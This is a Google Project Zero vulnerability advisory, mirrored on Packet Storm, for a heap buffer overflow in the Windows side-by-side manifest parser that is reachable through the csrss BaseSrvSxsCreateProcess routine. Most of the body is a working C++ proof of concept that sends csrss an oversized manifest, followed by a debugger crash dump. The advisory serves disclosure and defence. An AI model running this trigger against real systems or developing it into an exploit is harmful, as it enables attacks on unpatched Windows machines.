Lucene search

K
packetstormGoogle Security Research, GlazvunovPACKETSTORM:168068
HistoryAug 12, 2022 - 12:00 a.m.

Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow

2022-08-1200:00:00
Google Security Research, Glazvunov
packetstormsecurity.com
298

8.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

`Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity  
  
## SUMMARY  
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.  
  
  
## VULNERABILITY DETAILS  
In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.  
  
We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.  
  
1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html  
  
  
## VERSION  
Windows 11 12H2 (OS Build 22000.593)  
Windows 10 12H2 (OS Build 19044.1586)  
  
  
## REPRODUCTION CASE  
1) Enable page heap verification for csrss.exe:  
```  
gflags /p /enable csrss.exe /full  
```  
  
2) Restart the machine.  
  
3) Compile and run:  
```  
#pragma comment(lib, "ntdll")  
  
#include <windows.h>  
#include <winternl.h>  
#include <cstdint>  
#include <cstdio>  
#include <string>  
  
typedef struct _SECTION_IMAGE_INFORMATION {  
PVOID EntryPoint;  
ULONG StackZeroBits;  
ULONG StackReserved;  
ULONG StackCommit;  
ULONG ImageSubsystem;  
WORD SubSystemVersionLow;  
WORD SubSystemVersionHigh;  
ULONG Unknown1;  
ULONG ImageCharacteristics;  
ULONG ImageMachineType;  
ULONG Unknown2[3];  
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;  
  
typedef struct _RTL_USER_PROCESS_INFORMATION {  
ULONG Size;  
HANDLE ProcessHandle;  
HANDLE ThreadHandle;  
CLIENT_ID ClientId;  
SECTION_IMAGE_INFORMATION ImageInformation;  
BYTE Unknown1[128];  
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;  
  
NTSTATUS(NTAPI* RtlCreateProcessParameters)  
(PRTL_USER_PROCESS_PARAMETERS*,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PVOID,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING,  
PUNICODE_STRING);  
NTSTATUS(NTAPI* RtlCreateUserProcess)  
(PUNICODE_STRING,  
ULONG,  
PRTL_USER_PROCESS_PARAMETERS,  
PSECURITY_DESCRIPTOR,  
PSECURITY_DESCRIPTOR,  
HANDLE,  
BOOLEAN,  
HANDLE,  
HANDLE,  
PRTL_USER_PROCESS_INFORMATION);  
  
PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);  
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);  
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);  
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);  
  
void CaptureString(LPVOID capture_buffer,  
uint8_t* msg_field,  
PCWSTR string,  
size_t length = 0) {  
if (length == 0)  
length = lstrlenW(string);  
  
CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,  
length * 2 + 2, (PSTR)msg_field);  
}  
  
int main() {  
HMODULE ntdll = LoadLibrary(L"ntdll");  
  
#define INIT_PROC(name) \  
name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));  
  
INIT_PROC(RtlCreateProcessParameters);  
INIT_PROC(RtlCreateUserProcess);  
  
INIT_PROC(CsrAllocateCaptureBuffer);  
INIT_PROC(CsrFreeCaptureBuffer);  
INIT_PROC(CsrClientCallServer);  
INIT_PROC(CsrCaptureMessageString);  
  
UNICODE_STRING image_path;  
PRTL_USER_PROCESS_PARAMETERS proc_params;  
RTL_USER_PROCESS_INFORMATION proc_info = {0};  
  
RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");  
RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL,  
NULL, NULL, NULL, NULL);  
RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,  
NULL, NULL, FALSE, NULL, NULL, &proc_info);  
  
const size_t HEADER_SIZE = 0x40;  
uint8_t msg[HEADER_SIZE + 0x1f8] = {0};  
  
#define FIELD(n) msg + HEADER_SIZE + 8 * n  
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;  
  
SET_FIELD(2, proc_info.ClientId.UniqueProcess);  
SET_FIELD(3, proc_info.ClientId.UniqueThread);  
  
SET_FIELD(4, -1);  
SET_FIELD(7, 1);  
SET_FIELD(8, 0x20000);  
  
std::string manifest =  
"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "  
"manifestVersion='1.0'>"  
"<assemblyIdentity name='@' version='1.0.0.0'/>"  
"</assembly>";  
manifest.replace(manifest.find('@'), 1, 0x4000, 'A');  
  
SET_FIELD(13, manifest.c_str());  
SET_FIELD(14, manifest.size());  
  
PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);  
  
CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");  
CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2);  
CaptureString(capture_buffer, FIELD(28), L"A");  
SET_FIELD(28, 0xff000002);  
  
CsrClientCallServer(msg, capture_buffer, 0x1001001d,  
sizeof(msg) - HEADER_SIZE);  
}  
```  
  
The crash should look like to the following:  
```  
CONTEXT: 0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0)  
rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010  
rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001  
rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80  
r8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558  
r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001  
r14=0000000000000000 r15=0000000000000005  
iopl=0 nv up ei pl nz na pe nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
ntdll!memcpy+0x113:  
0033:00007ff8`25a53c53 0f2941f0 movaps xmmword ptr [rcx-10h],xmm0 ds:002b:0000020e`6515d000=????????????????????????????????  
Resetting default scope  
  
WRITE_ADDRESS: 0000020e6515d000  
  
EXCEPTION_RECORD: 0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)  
ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 0000000000000001  
Parameter[1]: 0000020e6515d000  
Attempt to write to address 0000020e6515d000  
  
STACK_TEXT:  
0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 : ntdll!memcpy+0x113  
0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 : sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1  
0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 : sxs!CNodeFactory::CreateNode+0xd34  
0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 : sxs!XMLParser::Run+0x8d6  
0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 : sxs!SxspIncorporateAssembly+0x513  
0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 : sxs!SxspIncorporateAssembly+0x104  
0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 : sxs!SxspCloseManifestGraph+0xbe  
0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 : sxs!SxsGenerateActivationContext+0x339  
0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 : sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed  
0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 : sxssrv!InternalSxsCreateProcess+0x545  
0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 : sxssrv!BaseSrvSxsCreateProcess+0x71  
0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 : basesrv!BaseSrvCreateProcess2+0x1f3  
0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CSRSRV!CsrApiRequestThread+0x4d0  
0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2f  
```  
  
  
## CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.  
  
  
  
Found by: [email protected]  
  
`

8.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C